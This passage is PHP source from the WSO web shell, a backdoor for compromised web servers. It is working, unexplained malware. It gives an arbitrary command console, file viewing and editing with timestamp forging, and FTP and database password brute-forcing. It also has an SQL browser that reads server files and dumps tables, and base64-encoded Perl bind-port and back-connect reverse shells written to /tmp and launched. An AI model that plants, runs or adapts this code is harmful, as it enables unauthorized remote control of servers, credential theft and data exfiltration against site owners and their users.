to ASCII'=> 'hex2ascii','HEX to DEC'=> 'hexdec','HEX to BIN'=> 'hex2bin','DEC to HEX'=> 'dechex','DEC to BIN'=> 'decbin','BIN to HEX'=> 'binhex','BIN to DEC'=> 'bindec','String to lower case'=> 'strtolower','String to upper case'=> 'strtoupper','Htmlspecialchars'=> 'htmlspecialchars','String length'=> 'strlen',);if(isset($_POST['ajax'])){WSOsetcookie(md5($_SERVER['HTTP_HOST']) .'ajax',true);ob_start();if(in_array($_POST['p1'],$stringTools))echo $_POST['p1']($_POST['p2']);$temp="document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='" .addcslashes(htmlspecialchars(ob_get_clean()),"

	\'") ."';
";echo strlen($temp),"
",$temp;exit;}if(empty($_POST['ajax'])&&!empty($_POST['p1']))WSOsetcookie(md5($_SERVER['HTTP_HOST']) .'ajax',0);wsoHeader();echo '<h1>String conversions</h1><div class=content>';echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";foreach($stringTools as $k => $v)echo "<option value='" .htmlspecialchars($v) ."'>" .$k ."</option>";echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 " .(@$_COOKIE[md5($_SERVER['HTTP_HOST']) .'ajax']?'checked':'') ."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>" .(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2'])) ."</textarea></form><pre class='ml1' style='" .(empty($_POST['p1'])?'display:none;':'') ."margin-top:5px' id='strOutput'>";if(!empty($_POST['p1'])){if(in_array($_POST['p1'],$stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));}echo"</pre></div><br><h1>Search files:</h1><div class=content>
		<form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
			<tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
			<tr><td>Path:</td><td><input type='text' name='cwd' value='" .htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
			<tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
			<tr><td></td><td><input type='submit' value='>>'></td></tr>
			</table></form>";function wsoRecursiveGlob($path){if(substr($path,-1)!= '/')$path.='/';$paths=@array_unique(@array_merge(@glob($path .$_POST['p3']),@glob($path .'*',GLOB_ONLYDIR)));if(is_array($paths)&&@count($paths)){foreach($paths as $item){if(@is_dir($item)){if($path!=$item)wsoRecursiveGlob($item);}else{if(empty($_POST['p2'])||@strpos(file_get_contents($item),$_POST['p2'])!==false)echo "<a href='#' onclick='g(\"FilesTools\",null,\"" .urlencode($item) ."\", \"view\",\"\")'>" .htmlspecialchars($item) ."</a><br>";}}}}if(@$_POST['p3'])wsoRecursiveGlob($_POST['c']);echo "</div><br><h1>Search for hash:</h1><div class=content>
		<form method='post' target='_blank' name='hf'>
			<input type='text' name='hash' style='width:200px;'><br>
            <input type='hidden' name='act' value='find'/>
			<input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
			<input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
            <input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br>
		</form></div>";wsoFooter();}function actionFilesTools(){if(isset($_POST['p1']))$_POST['p1']=urldecode($_POST['p1']);if(@$_POST['p2']=='download'){if(@is_file($_POST['p1'])&&@is_readable($_POST['p1'])){ob_start("ob_gzhandler",4096);header("Content-Disposition: attachment; filename=" .basename($_POST['p1']));if(function_exists("mime_content_type")){$type=@mime_content_type($_POST['p1']);header("Content-Type: " .$type);}else header("Content-Type: application/octet-stream");$fp=@fopen($_POST['p1'],"r");if($fp){while(!@feof($fp))echo@fread($fp,1024);fclose($fp);}}exit;}if(@$_POST['p2']== 'mkfile'){if(!file_exists($_POST['p1'])){$fp=@fopen($_POST['p1'],'w');if($fp){$_POST['p2']="edit";fclose($fp);}}}wsoHeader();echo '<h1>File tools</h1><div class=content>';if(!file_exists(@$_POST['p1'])){echo 'File not exists';wsoFooter();return;}$uid=@posix_getpwuid(@fileowner($_POST['p1']));if(!$uid){$uid['name']=@fileowner($_POST['p1']);$gid['name']=@filegroup($_POST['p1']);}else $gid=@posix_getgrgid(@filegroup($_POST['p1']));echo '<span>Name:</span> ' .htmlspecialchars(@basename($_POST['p1'])) .' <span>Size:</span> ' .(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-') .' <span>Permission:</span> ' .wsoPermsColor($_POST['p1']) .' <span>Owner/Group:</span> ' .$uid['name'] .'/' .$gid['name'] .'<br>';echo '<span>Change time:</span> ' .date('Y-m-d H:i:s',filectime($_POST['p1'])) .' <span>Access time:</span> ' .date('Y-m-d H:i:s',fileatime($_POST['p1'])) .' <span>Modify time:</span> ' .date('Y-m-d H:i:s',filemtime($_POST['p1'])) .'<br><br>';if(empty($_POST['p2']))$_POST['p2']='view';if(is_file($_POST['p1']))$m=array('View','Highlight','Download','Hexdump','Edit','Chmod','Rename','Touch');else $m=array('Chmod','Rename','Touch');foreach($m as $v)echo '<a href=# onclick="g(null,null,\'' .urlencode($_POST['p1']) .'\',\'' .strtolower($v) .'\')">' .((strtolower($v)==@$_POST['p2'])?'<b>[ ' .$v .' ]</b>':$v) .'</a> ';echo '<br><br>';switch($_POST['p2']){case 'view':echo '<pre class=ml1>';$fp=@fopen($_POST['p1'],'r');if($fp){while(!@feof($fp))echo htmlspecialchars(@fread($fp,1024));@fclose($fp);}echo '</pre>';break;case 'highlight':if(@is_readable($_POST['p1'])){echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';$code=@highlight_file($_POST['p1'],true);echo str_replace(array('<span ','</span>'),array('<font ','</font>'),$code) .'</div>';}break;case 'chmod':if(!empty($_POST['p3'])){$perms=0;for($i=strlen($_POST['p3'])-1;$i>=0;--$i)$perms += (int)$_POST['p3'][$i]*pow(8,(strlen($_POST['p3'])-$i-1));if(!@chmod($_POST['p1'],$perms))echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';}clearstatcache();echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' .urlencode($_POST['p1']) .'\',null,this.chmod.value);return false;"><input type=text name=chmod value="' .substr(sprintf('%o',fileperms($_POST['p1'])),-4) .'"><input type=submit value=">>"></form>';break;case 'edit':if(!is_writable($_POST['p1'])){echo 'File isn\'t writeable';break;}if(!empty($_POST['p3'])){$time=@filemtime($_POST['p1']);$_POST['p3']=substr($_POST['p3'],1);$fp=@fopen($_POST['p1'],"w");if($fp){@fwrite($fp,$_POST['p3']);@fclose($fp);echo 'Saved!<br><script>p3_="";</script>';@touch($_POST['p1'],$time,$time);}}echo '<form onsubmit="g(null,null,\'' .urlencode($_POST['p1']) .'\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';$fp=@fopen($_POST['p1'],'r');if($fp){while(!@feof($fp))echo htmlspecialchars(@fread($fp,1024));@fclose($fp);}echo '</textarea><input type=submit value=">>"></form>';break;case 'hexdump':$c=@file_get_contents($_POST['p1']);$n=0;$h=array('00000000<br>','','');$len=strlen($c);for($i=0;$i<$len;++$i){$h[1].= sprintf('%02X',ord($c[$i])) .' ';switch(ord($c[$i])){case 0:$h[2].= ' ';break;case 9:$h[2].= ' ';break;case 10:$h[2].= ' ';break;case 13:$h[2].= ' ';break;default:$h[2].= $c[$i];break;}$n++;if($n == 32){$n=0;if($i+1<$len){$h[0].= sprintf('%08X',$i+1) .'<br>';}$h[1].= '<br>';$h[2].= "
";}}echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>' .$h[0] .'</pre></span></td><td bgcolor=#282828><pre>' .$h[1] .'</pre></td><td bgcolor=#333333><pre>' .htmlspecialchars($h[2]) .'</pre></td></tr></table>';break;case 'rename':if(!empty($_POST['p3'])){if(!@rename($_POST['p1'],$_POST['p3']))echo 'Can\'t rename!<br>';else die('<script>g(null,null,"' .urlencode($_POST['p3']) .'",null,"")</script>');}echo '<form onsubmit="g(null,null,\'' .urlencode($_POST['p1']) .'\',null,this.name.value);return false;"><input type=text name=name value="' .htmlspecialchars($_POST['p1']) .'"><input type=submit value=">>"></form>';break;case 'touch':if(!empty($_POST['p3'])){$time=strtotime($_POST['p3']);if($time){if(!touch($_POST['p1'],$time,$time))echo 'Fail!';else echo 'Touched!';}else echo 'Bad time format!';}clearstatcache();echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' .urlencode($_POST['p1']) .'\',null,this.touch.value);return false;"><input type=text name=touch value="' .date("Y-m-d H:i:s",@filemtime($_POST['p1'])) .'"><input type=submit value=">>"></form>';break;}echo '</div>';wsoFooter();}function actionConsole(){if(!empty($_POST['p1'])&&!empty($_POST['p2'])){WSOsetcookie(md5($_SERVER['HTTP_HOST']) .'stderr_to_out',true);$_POST['p1'].= ' 2>&1';}elseif(!empty($_POST['p1']))WSOsetcookie(md5($_SERVER['HTTP_HOST']) .'stderr_to_out',0);if(isset($_POST['ajax'])){WSOsetcookie(md5($_SERVER['HTTP_HOST']) .'ajax',true);ob_start();echo "d.cf.cmd.value='';
";$temp=@iconv($_POST['charset'],'UTF-8',addcslashes("
$ " .$_POST['p1'] ."
" .wsoEx($_POST['p1']),"

	\'"));if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)){if(@chdir($match[1])){$GLOBALS['cwd']=@getcwd();echo "c_='" .$GLOBALS['cwd'] ."';";}}echo "d.cf.output.value+='" .$temp ."';";echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";$temp=ob_get_clean();echo strlen($temp),"
",$temp;exit;}if(empty($_POST['ajax'])&&!empty($_POST['p1']))WSOsetcookie(md5($_SERVER['HTTP_HOST']) .'ajax',0);wsoHeader();echo "<script>
if(window.Event) window.captureEvents(Event.KEYDOWN);
var cmds = new Array('');
var cur = 0;
function kp(e) {
	var n = (window.Event) ? e.which : e.keyCode;
	if(n == 38) {
		cur--;
		if(cur>=0)
			document.cf.cmd.value = cmds[cur];
		else
			cur++;
	} else if(n == 40) {
		cur++;
		if(cur < cmds.length)
			document.cf.cmd.value = cmds[cur];
		else
			cur--;
	}
}
function add(cmd) {
	cmds.pop();
	cmds.push(cmd);
	cmds.push('');
	cur = cmds.length-1;
}
</script>";echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';foreach($GLOBALS['aliases']as $n => $v){if($v == ''){echo '<optgroup label="-' .htmlspecialchars($n) .'-"></optgroup>';continue;}echo '<option value="' .htmlspecialchars($v) .'">' .$n .'</option>';}echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 ' .(@$_COOKIE[md5($_SERVER['HTTP_HOST']) .'ajax']?'checked':'') .'> send using AJAX <input type=checkbox name=show_errors value=1 ' .(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']) .'stderr_to_out']?'checked':'') .'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';if(!empty($_POST['p1'])){echo htmlspecialchars("$ " .$_POST['p1'] ."
" .wsoEx($_POST['p1']));}echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';echo '</form></div><script>d.cf.cmd.focus();</script>';wsoFooter();}function actionLogout(){setcookie(md5($_SERVER['HTTP_HOST']),'',time()-3600);die('bye!');}function actionSelfRemove(){if($_POST['p1']== 'yes')if(@unlink(preg_replace('!\(\d+\)\s.*!','',__FILE__)))die('Shell has been removed');else echo 'unlink error!';if($_POST['p1']!= 'yes')wsoHeader();echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';wsoFooter();}function actionBruteforce(){wsoHeader();if(isset($_POST['proto'])){echo '<h1>Results</h1><div class=content><span>Type:</span> ' .htmlspecialchars($_POST['proto']) .' <span>Server:</span> ' .htmlspecialchars($_POST['server']) .'<br>';if($_POST['proto']== 'ftp'){function wsoBruteForce($ip,$port,$login,$pass){$fp=@ftp_connect($ip,$port?$port:21);if(!$fp)return false;$res=@ftp_login($fp,$login,$pass);@ftp_close($fp);return $res;}}elseif($_POST['proto']== 'mysql'){function wsoBruteForce($ip,$port,$login,$pass){$res=@mysql_connect($ip .':' .($port?$port:3306),$login,$pass);@mysql_close($res);return $res;}}elseif($_POST['proto']== 'pgsql'){function wsoBruteForce($ip,$port,$login,$pass){$str="host='" .$ip ."' port='" .$port ."' user='" .$login ."' password='" .$pass ."' dbname=postgres";$res=@pg_connect($str);@pg_close($res);return $res;}}$success=0;$attempts=0;$server=explode(":",$_POST['server']);if($_POST['type']== 1){$temp=@file('/etc/passwd');if(is_array($temp))foreach($temp as $line){$line=explode(":",$line);++$attempts;if(wsoBruteForce(@$server[0],@$server[1],$line[0],$line[0])){$success++;echo '<b>' .htmlspecialchars($line[0]) .'</b>:' .htmlspecialchars($line[0]) .'<br>';}if(@$_POST['reverse']){$tmp="";for($i=strlen($line[0])-1;$i>=0;--$i)$tmp .= $line[0][$i];++$attempts;if(wsoBruteForce(@$server[0],@$server[1],$line[0],$tmp)){$success++;echo '<b>' .htmlspecialchars($line[0]) .'</b>:' .htmlspecialchars($tmp);}}}}elseif($_POST['type']== 2){$temp=@file($_POST['dict']);if(is_array($temp))foreach($temp as $line){$line=trim($line);++$attempts;if(wsoBruteForce($server[0],@$server[1],$_POST['login'],$line)){$success++;echo '<b>' .htmlspecialchars($_POST['login']) .'</b>:' .htmlspecialchars($line) .'<br>';}}}echo"<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";}echo '<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>' .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>' .'<input type=hidden name=c value="' .htmlspecialchars($GLOBALS['cwd']) .'">' .'<input type=hidden name=a value="' .htmlspecialchars($_POST['a']) .'">' .'<input type=hidden name=charset value="' .htmlspecialchars($_POST['charset']) .'">' .'<span>Server:port</span></td>' .'<td><input type=text name=server value="127.0.0.1"></td></tr>' .'<tr><td><span>Brute type</span></td>' .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>' .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>' .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>' .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>' .'<td><input type=text name=login value="root"></td></tr>' .'<tr><td><span>Dictionary</span></td>' .'<td><input type=text name=dict value="' .htmlspecialchars($GLOBALS['cwd']) .'passwd.dic"></td></tr></table>' .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';echo '</div><br>';wsoFooter();}function actionSql(){class DbClass{var $type;var $link;var $res;function DbClass($type){$this->type=$type;}function connect($host,$user,$pass,$dbname){switch($this->type){case 'mysql':if($this->link=@mysql_connect($host,$user,$pass,true))return true;break;case 'pgsql':$host=explode(':',$host);if(!$host[1])$host[1]=5432;if($this->link=@pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname"))return true;break;}return false;}function selectdb($db){switch($this->type){case 'mysql':if(@mysql_select_db($db))return true;break;}return false;}function query($str){switch($this->type){case 'mysql':return $this->res=@mysql_query($str);break;case 'pgsql':return $this->res=@pg_query($this->link,$str);break;}return false;}function fetch(){$res=func_num_args()?func_get_arg(0):$this->res;switch($this->type){case 'mysql':return@mysql_fetch_assoc($res);break;case 'pgsql':return@pg_fetch_assoc($res);break;}return false;}function listDbs(){switch($this->type){case 'mysql':return $this->query("SHOW databases");break;case 'pgsql':return $this->res=$this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");break;}return false;}function listTables(){switch($this->type){case 'mysql':return $this->res=$this->query('SHOW TABLES');break;case 'pgsql':return $this->res=$this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");break;}return false;}function error(){switch($this->type){case 'mysql':return@mysql_error();break;case 'pgsql':return@pg_last_error();break;}return false;}function setCharset($str){switch($this->type){case 'mysql':if(function_exists('mysql_set_charset'))return@mysql_set_charset($str,$this->link);else $this->query('SET CHARSET ' .$str);break;case 'pgsql':return@pg_set_client_encoding($this->link,$str);break;}return false;}function loadFile($str){switch($this->type){case 'mysql':return $this->fetch($this->query("SELECT LOAD_FILE('" .addslashes($str) ."') as file"));break;case 'pgsql':$this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '" .addslashes($str) ."';select file from wso2;");$r=array();while($i=$this->fetch())$r[]=$i['file'];$this->query('drop table wso2');return array('file'=>implode("
",$r));break;}return false;}function dump($table,$fp=false){switch($this->type){case 'mysql':$res=$this->query('SHOW CREATE TABLE `' .$table .'`');$create=mysql_fetch_array($res);$sql=$create[1] .";
";if($fp)fwrite($fp,$sql);else echo($sql);$this->query('SELECT * FROM `' .$table .'`');$i=0;$head=true;while($item=$this->fetch()){$sql='';if($i%1000 == 0){$head=true;$sql=";

";}$columns=array();foreach($item as $k=>$v){if($v === null)$item[$k]="NULL";elseif(is_int($v))$item[$k]=$v;else $item[$k]="'" .@mysql_real_escape_string($v) ."'";$columns[]="`" .$k ."`";}if($head){$sql .= 'INSERT INTO `' .$table .'` (' .implode(", ",$columns) .") VALUES 
	(" .implode(", ",$item) .')';$head=false;}else $sql .= "
	,(" .implode(", ",$item) .')';if($fp)fwrite($fp,$sql);else echo($sql);$i++;}if(!$head)if($fp)fwrite($fp,";

");else echo(";

");break;case 'pgsql':$this->query('SELECT * FROM ' .$table);while($item=$this->fetch()){$columns=array();foreach($item as $k=>$v){$item[$k]="'" .addslashes($v) ."'";$columns[]=$k;}$sql='INSERT INTO ' .$table .' (' .implode(", ",$columns) .') VALUES (' .implode(", ",$item) .');' ."
";if($fp)fwrite($fp,$sql);else echo($sql);}break;}return false;}};$db=new DbClass($_POST['type']);if((@$_POST['p2']=='download')&&(@$_POST['p1']!='select')){$db->connect($_POST['sql_host'],$_POST['sql_login'],$_POST['sql_pass'],$_POST['sql_base']);$db->selectdb($_POST['sql_base']);switch($_POST['charset']){case "Windows-1251":$db->setCharset('cp1251');break;case "UTF-8":$db->setCharset('utf8');break;case "KOI8-R":$db->setCharset('koi8r');break;case "KOI8-U":$db->setCharset('koi8u');break;case "cp866":$db->setCharset('cp866');break;}if(empty($_POST['file'])){ob_start("ob_gzhandler",4096);header("Content-Disposition: attachment; filename=dump.sql");header("Content-Type: text/plain");foreach($_POST['tbl']as $v)$db->dump($v);exit;}elseif($fp=@fopen($_POST['file'],'w')){foreach($_POST['tbl']as $v)$db->dump($v,$fp);fclose($fp);unset($_POST['p2']);}else die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');}wsoHeader();echo "
<h1>Sql browser</h1><div class=content>
<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='" .htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='" .(isset($_POST['charset'])?$_POST['charset']:'') ."'>
<td><select name='type'><option value='mysql' ";if(@$_POST['type']=='mysql')echo 'selected';echo ">MySql</option><option value='pgsql' ";if(@$_POST['type']=='pgsql')echo 'selected';echo ">PostgreSql</option></select></td>
<td><input type=text name=sql_host value=\"" .(empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."\"></td>
<td><input type=text name=sql_login value=\"" .(empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."\"></td>
<td><input type=text name=sql_pass value=\"" .(empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."\"></td><td>";$tmp="<input type=text name=sql_base value=''>";if(isset($_POST['sql_host'])){if($db->connect($_POST['sql_host'],$_POST['sql_login'],$_POST['sql_pass'],$_POST['sql_base'])){switch($_POST['charset']){case "Windows-1251":$db->setCharset('cp1251');break;case "UTF-8":$db->setCharset('utf8');break;case "KOI8-R":$db->setCharset('koi8r');break;case "KOI8-U":$db->setCharset('koi8u');break;case "cp866":$db->setCharset('cp866');break;}$db->listDbs();echo "<select name=sql_base><option value=''></option>";while($item=$db->fetch()){list($key,$value)=each($item);echo '<option value="' .$value .'" ' .($value==$_POST['sql_base']?'selected':'') .'>' .$value .'</option>';}echo '</select>';}else echo $tmp;}else echo $tmp;echo "</td>
				<td><input type=submit value='>>' onclick='fs(d.sf);'></td>
                <td><input type=checkbox name=sql_count value='on'" .(empty($_POST['sql_count'])?'':' checked') ."> count the number of rows</td>
			</tr>
		</table>
		<script>
            s_db='" .@addslashes($_POST['sql_base']) ."';
            function fs(f) {
                if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
                    if(f.p1) f.p1.value='';
                    if(f.p2) f.p2.value='';
                    if(f.p3) f.p3.value='';
                }
            }
			function st(t,l) {
				d.sf.p1.value = 'select';
				d.sf.p2.value = t;
                if(l && d.sf.p3) d.sf.p3.value = l;
				d.sf.submit();
			}
			function is() {
				for(i=0;i<d.sf.elements['tbl[]'].length;++i)
					d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
			}
		</script>";if(isset($db)&& $db->link){echo "<br/><table width=100% cellpadding=2 cellspacing=0>";if(!empty($_POST['sql_base'])){$db->selectdb($_POST['sql_base']);echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";$tbls_res=$db->listTables();while($item=$db->fetch($tbls_res)){list($key,$value)=each($item);if(!empty($_POST['sql_count']))$n=$db->fetch($db->query('SELECT COUNT(*) as n FROM ' .$value .''));$value=htmlspecialchars($value);echo "<nobr><input type='checkbox' name='tbl[]' value='" .$value ."'>&nbsp;<a href=# onclick=\"st('" .$value ."',1)\">" .$value ."</a>" .(empty($_POST['sql_count'])?'&nbsp;':" <small>({$n['n']})</small>") ."</nobr><br>";}echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";if(@$_POST['p1']== 'select'){$_POST['p1']='query';$_POST['p3']=$_POST['p3']?$_POST['p3']:1;$db->query('SELECT COUNT(*) as n FROM ' .$_POST['p2']);$num=$db->fetch();$pages=ceil($num['n']/30);echo "<script>d.sf.onsubmit=function(){st(\"" .$_POST['p2'] ."\", d.sf.p3.value)}</script><span>" .$_POST['p2'] ."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" .((int)$_POST['p3']) .">";echo" of $pages";if($_POST['p3']>1)echo " <a href=# onclick='st(\"" .$_POST['p2'] .'", ' .($_POST['p3']-1) .")'>&lt; Prev</a>";if($_POST['p3']<$pages)echo " <a href=# onclick='st(\"" .$_POST['p2'] .'", ' .($_POST['p3']+1) .")'>Next &gt;</a>";$_POST['p3']--;if($_POST['type']=='pgsql')$_POST['p2']='SELECT * FROM ' .$_POST['p2'] .' LIMIT 30 OFFSET ' .($_POST['p3']*30);else $_POST['p2']='SELECT * FROM `' .$_POST['p2'] .'` LIMIT ' .($_POST['p3']*30) .',30';echo "<br><br>";}if((@$_POST['p1']== 'query')&&!empty($_POST['p2'])){$db->query(@$_POST['p2']);if($db->res !== false){$title=false;echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';$line=1;while($item=$db->fetch()){if(!$title){echo '<tr>';foreach($item as $key => $value)echo '<th>' .$key .'</th>';reset($item);$title=true;echo '</tr><tr>';$line=2;}echo '<tr class="l' .$line .'">';$line=$line==1?2:1;foreach($item as $key => $value){if($value == null)echo '<td><i>null</i></td>';else echo '<td>' .nl2br(htmlspecialchars($value)) .'</td>';}echo '</tr>';}echo '</table>';}else{echo '<div><b>Error:</b> ' .htmlspecialchars($db->error()) .'</div>';}}echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";if(!empty($_POST['p2'])&&($_POST['p1']!= 'loadfile'))echo htmlspecialchars($_POST['p2']);echo "</textarea><br/><input type=submit value='Execute'>";echo "</td></tr>";}echo "</table></form><br/>";if($_POST['type']=='mysql'){$db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");if($db->fetch())echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input  class='toolsInp' type=text name=f><input type=submit value='>>'></form>";}if(@$_POST['p1']== 'loadfile'){$file=$db->loadFile($_POST['p2']);echo '<br/><pre class=ml1>' .htmlspecialchars($file['file']) .'</pre>';}}else{echo htmlspecialchars($db->error());}echo '</div>';wsoFooter();}function actionNetwork(){wsoHeader();$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";echo "<h1>Network tools</h1><div class=content>
	<form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
	<span>Bind port to /bin/sh [perl]</span><br/>
	Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
	</form>
	<form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
	<span>Back-connect  [perl]</span><br/>
	Server: <input type='text' name='server' value='" .$_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
	</form><br>";if(isset($_POST['p1'])){function cf($f,$t){$w=@fopen($f,"w")or@function_exists('file_put_contents');if($w){@fwrite($w,base64_decode($t));@fclose($w);}}if($_POST['p1']== 'bpp'){cf("/tmp/bp.pl",$bind_port_p);$out=wsoEx("perl /tmp/bp.pl " .$_POST['p2'] ." 1>/dev/null 2>&1 &");sleep(1);echo"<pre class=ml1>$out
